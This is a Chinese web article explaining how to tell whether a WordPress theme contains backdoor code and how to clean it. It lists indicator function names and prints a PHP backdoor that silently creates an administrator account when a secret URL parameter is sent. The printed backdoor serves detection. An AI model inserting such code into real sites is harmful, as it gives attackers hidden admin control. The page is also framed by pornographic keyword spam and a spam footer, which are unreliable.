国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > CMS > Wordpress > 正文

wordpress主題存在后門惡意代碼該怎么辦?

2024-09-07 00:51:21
字體:
來源:轉載
供稿:網友

wordpress越來越強大,也伴隨著出現越來越多的主題,除了有大量官方的主題,也有許多主題設計者發布收費主題和免費主題,很多不良人收集各種主題回來測試然后添加暗鏈、廣告,甚至惡意代碼,然后免費或者收費公開發布出去,誘使別人下載使用,達到不可告人的目的,對不懂代碼的童鞋來說,那是致命的.

怎么才知道自己的主題感染了惡意代碼呢?

換主題經常出錯提示“Fatal error: Cannot redeclare _check_isactive_widget()”、”_get_allwidgetcont” 之類的那么很有可能你已經被感染了,而且在你換主題的時候還會復制惡意代碼到你的新主題里去。如果出現了黑鏈、陌生鏈接和不明廣告,很可能就是主題存在惡意代碼!

都去檢查一下functions.php文件查一下是否有以下代碼,如果你的functions.php中有以下任意一段代碼,那么你可能就中招了。

  1. add_action(“admin_head”, 
  2.  
  3. add_action(“init”, “_getprepare_widget”); 

下面幾個是常見的惡意代碼:

  1. _verify_isactivate_widgets  
  2.  
  3. _check_isactive_widget  
  4.  
  5. _get_allwidgetscont  
  6.  
  7. _prepare_widgets  
  8.  
  9. __popular_posts 

新增一段代碼開頭含有:

_verifyactivate_widgets

_verifyactivate_widget

下面的代碼更加狠,可以自動添加一個角色為管理員的用戶.

  1. add_action('wp_head''holeinthewall'); 
  2. function holeinthewall() { 
  3. If ($_GET['backdoor'] == 'go') { 
  4. require('wp-includes/registration.php'); 
  5. If (!username_exists('username')) { 
  6. $user_id = wp_create_user('username''password'); 
  7. $user = new WP_User($user_id); 
  8. $user->set_role('administrator'); 
  9. //Vevb.com 

將代碼添加到您當前主題的 functions.php 文件或插件中,會自動創建一個用戶名:username 密碼:password的有管理員權限的用戶,之后想做什么都可以了,這些惡意代碼被添加后,主題看不出任意異常,只有在functions.php檢查才能發現,防不勝防!所以大家盡量到官方或原始發布站點下載主題,少用盜版主題和插件以免被開了后門也不知曉.

解決辦法:

1、如果是主題本身自帶的惡意代碼就去原發布地址下載主題重新安裝,官方的和原發布地址的百分之90是不會有惡意代碼的.

2、如果是感染了惡意代碼的找到functions.php 文件用原文件替換掉

3、刪除惡意代碼,一般就是以上任意一段代碼之后的所有代碼,這段代碼前面還有一個<?PHP,一起刪掉.

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 板桥市| 汤原县| 台南市| 潞城市| 太谷县| 平顶山市| 广东省| 蛟河市| 剑川县| 高雄县| 永吉县| 本溪市| 铁岭县| 嘉义市| 仁怀市| 南丹县| 绥宁县| 梅州市| 清丰县| 广昌县| 宾川县| 商都县| 临沧市| 阿荣旗| 富锦市| 长兴县| 南投县| 调兵山市| 阜南县| 定边县| 铁岭市| 牙克石市| 云和县| 德安县| 胶南市| 扬中市| 措美县| 杨浦区| 仁怀市| 稻城县| 定兴县|